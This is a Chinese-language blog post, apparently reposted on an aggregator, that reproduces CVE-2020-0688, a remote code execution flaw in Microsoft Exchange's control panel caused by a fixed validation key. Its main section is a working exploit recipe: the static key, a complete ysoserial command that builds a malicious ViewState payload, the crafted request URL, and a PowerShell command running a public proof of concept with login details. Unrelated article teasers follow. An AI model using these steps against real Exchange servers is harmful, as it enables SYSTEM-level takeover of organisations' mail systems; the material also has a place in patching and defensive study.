CVE-2020-0688 远程代码执行漏洞

CVE-2020-0688 远程代码执行漏洞

漏洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,攻击者可以利用静态秘钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码

当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在 被攻击的exchange上执行任意代码,直接获取服务器权限

影响版本

  • Microsoft Exchange Server 2010 Service Pack 3
  • Microsoft Exchange Server 2013
  • Microsoft Exchange Server 2016
  • Microsoft Exchange Server 2019

漏洞利用前提

  • 获得一个邮件用户密码,且该邮箱登录过exchange

环境安装

参考:exchange2016安装

  • 实验环境:Exchange Server 2016 RTM 15.1.225.42

漏洞复现

手动复现
  1. 获取 __VIEWSTATEGENERATOR 和 ASP.NET_SessionId 的值

使用普通域用户(获取的邮箱用户)hacker登录管理中心/ecp/,定位到/ecp/,在其响应头中获取ASP.NET_SessionId 的值。同时在响应体中获得 __VIEWSTATEGENERATOR 的值,默认为“B97B4E27”

  • ASP.NET_SessionId = 7b9b620b-74bf-4cd2-a9c1-445d5f1720ae
  • __VIEWSTATEGENERATOR = B97B4E27

  1. 生成反序列化Payload

使用 ysoserial.exe 生成反序列化Payload,命令如下

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c notepad.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634" --isdebug -islegacy
  • validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF,这是固定的值,这是此漏洞产生的原因,修复补丁之后此值会做随机化处理
  • --generator="B97B4E27",这是返回包中获得 __VIEWSTATEGENERATOR 的值
  • --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634",这是请求包中ASP.NET.SessionID的值

将生成的payload进行 url 编码

拼接为如下格式

https://192.168.59.131/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=url编码后的payload

保持用户hacker在登录的情况下,直接在浏览器中访问即可触发以system权限的命令执行

工具一键利用

poc:GitHub - MrTiz/CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server through fixed cryptographic keys

PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://192.168.59.131' -Username 'test.lab\hacker' -Password 'hacker.com' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\admin\Desktop\CVE-2020-0688-main\ysoserial\ysoserial.exe'

执行如上所示,exchange机器中将被成功创建C:/whoami.txt文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/19668.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【深度学习基础】使用Pytorch搭建DNN深度神经网络与手写数字识别

目录 写在开头 一、DNN的搭建 问题描述与数据集 神经网络搭建 模型训练 模型评估 模型复用 二、手写数字识别 任务描述 数据集 神经网络搭建 模型训练 模型评估 写在最后 写在开头 本文将介绍如何使用PyTorch框架搭建深度神经网络模型。实现模型的搭建、模…

开发数据库的思路

一、设计目的 关系型网络数据库。 二、设计要求: (一)安装快速 安装程序特别简单。 (二)配置简单 最小化配置。 (三)使用简单,高效 程序占用空间小,支持基本的SQL语法。 (四)稳定可靠 尽量不依赖其他不稳定库。 (五)其他要求 属于关系型数…

USART串口外设

USART介绍 USART:另外我们经常还会遇到串口,叫UART,少了个S,就是通用异步收发器,一般我们串口很少使用这个同步功能,所以USART和UART使用起来,也没有什么区别。 其实这个STM32的USART同步模式&a…

大模型日报2024-05-30

大模型日报 2024-05-30 大模型资讯 大型语言模型未来将超越人类金融分析师 摘要: 新研究表明,大型语言模型在金融预测方面表现优于人类专家,为交易策略提供了宝贵的洞见。 DLM技术提高语音识别准确率 摘要: 本文介绍了通过去噪语言模型(DLM&a…

创新产品认定进行第三方软件鉴定测试的原因

鉴定测试报告 随着科技的飞速发展,软件产品在各个领域的应用越来越广泛,对于软件产品的质量和安全性要求也越来越高。为了确保软件产品的质量和安全性,创新产品认定进行第三方软件鉴定测试成为了一种必要手段。 一、保障产品质量 第三方软…

在Linux/Ubuntu/Debian上安装TensorFlow 2.14.0

在Ubuntu上安装TensorFlow 2.14.0,可以遵循以下步骤。请注意,由于TensorFlow的版本更新可能很快,这里提供的具体步骤可能需要根据你的系统环境和实际情况进行微调。 准备工作 检查系统要求:确保你的Ubuntu系统满足TensorFlow的运…

洛谷 P3870 [TJOI2009] 开关 题解 线段树

[TJOI2009] 开关 题目描述 现有 n n n 盏灯排成一排,从左到右依次编号为: 1 1 1, 2 2 2,……, n n n。然后依次执行 m m m 项操作。 操作分为两种: 指定一个区间 [ a , b ] [a,b] [a,b],…

从了解到掌握 Spark 计算框架(二)RDD

文章目录 RDD 概述RDD 组成RDD 的作用RDD 算子分类RDD 的创建1.从外部数据源读取2.从已有的集合或数组创建3.从已有的 RDD 进行转换 RDD 常用算子大全转换算子行动算子 RDD 算子综合练习RDD 依赖关系窄依赖宽依赖宽窄依赖算子区分 RDD 血统信息血统信息的作用血统信息的组成代码…

LM2733升压芯片

具有 40V 内部 FET 开关且采用 SOT-23 封装的 LM2733 0.6MHz 和 1.6MHz 升压转换器 外观 参考价格 1 特性 电路原理图 基于LM2733升压电路设计-CSDN博客https://blog.csdn.net/qq_31251431/article/details/107479885 特此记录 anlog 2024年5月31日 高压方案 此方案经过更多…

MySQL -- SQL笔试题相关

1.银行代缴花费bank_bill 字段名描述serno流水号date交易日期accno账号name姓名amount金额brno缴费网点 serno: 一个 BIGINT UNSIGNED 类型的列,作为主键,且不为空。该列是自动增量的,每次插入新行时,都会自动递增生成一个唯一的…

游戏安全 | 一款「安全」的SLG游戏应该是什么样的?

谈到SLG游戏,也许会想到《万国觉醒》,海外上线5个月后,以5400万美元的月流水创造了新的SLG手游海外收入纪录。 谈到SLG游戏,也许会想到《王国纪元》,通过两军对战的方式,以大面积消灭敌人的攻势&#xff0c…

数据库开发-MySQL01

目录 前言 1. MySQL概述 1.1 安装 1.1.1 版本 1.1.2 安装 1.1.3 连接 1.1.4 企业使用方式(了解) 1.2 数据模型 1.3 SQL简介 1.3.1 SQL通用语法 1.3.2 分类 2. 数据库设计-DDL 2.1 项目开发流程 2.2 数据库操作 2.2.1 查询数据库 2.2.2 创建数据库 2.2.3 使用数…

echarts学习:将echats实例代理为响应式对象可能带来的风险

1.起源 最近我在学习如何封装echarts组件,我所参考的其中一篇博客中提到了一个“图表无法显示的问题”。 根据其中的介绍,造成此种问题的原因是因为,使用ref接受了echarts实例,使得echarts实例被代理为了响应式对象,进…

ChatGPT-4o在临床医学日常工作、论文高效撰写与项目申报、数据分析与可视化、机器学习建模中的应用

ChatGPT-4o在临床医学日常工作、论文高效撰写与项目申报、数据分析与可视化、机器学习建模中的应用 2022年11月30日,可能将成为一个改变人类历史的日子——美国人工智能开发机构OpenAI推出了聊天机器人ChatGPT-3.5,将人工智能的发展推向了一个新的高度。…

独孤思维:副业赚钱根本不需要才华

01 做副业,远远改达不到比拼智慧和才能的地步。 只要你足够勤奋,足够坚持,就一定能拿到结果。 只是时间早晚的问题。 我们经常听到一句话,大多数人,远远达不到拼天赋的地步。 就是这个逻辑。 你看独孤&#xff0…

大数据系统架构师的论文如何写

撰写一篇关于大数据系统架构的论文需要系统地组织和表达复杂的技术和概念,同时展示您的深厚理解和专业知识。以下是一个基本的结构和一些关键要点,可以帮助您开始: 1. 引言 背景: 介绍大数据的重要性及其在现代信息时代的影响。动机: 阐述为…

SpringBoot项目中如何使用Redisson队列详解

一、SpringBoot配置Redisson 1.1 引入依赖 <!--Redisson延迟队列--> <dependency><groupId>org.redisson</groupId><artifactId>redisson</artifactId><version>3.13.1</version> </dependency>1.2 代码配置 Data Co…

AI预测福彩3D采取888=3策略+和值012路一缩定乾坤测试5月29日预测第5弹

今天继续基于8883的大底&#xff0c;使用尽可能少的条件进行缩号&#xff0c;同时&#xff0c;同样准备两套方案&#xff0c;一套是我自己的条件进行缩号&#xff0c;另外一套是8883的大底结合2码不定位奖号预测二次缩水来杀号。好了&#xff0c;直接上结果吧~ 首先&…

云计算面试题

5.20日 java的集合体系结构 它提供了一组接口、类和算法&#xff0c;用于存储和管理对象集合。Java的集合框架包括多个基本接口&#xff0c;如Collection、List、Set、Map等。Collection是集合层次结构的根接口&#xff0c;代表一组对象&#xff1b;List是有序集合&#xff0…

大数据组件doc

1.flink Apache Flink Documentation | Apache Flink 2.kafka Apache Kafka 3.hbase Apache HBase ™ Reference Guide 4.zookeeper ZooKeeper: Because Coordinating Distributed Systems is a Zoo 5.spark Overview - Spark 3.5.1 Documentation 6.idea组件&#xff08;…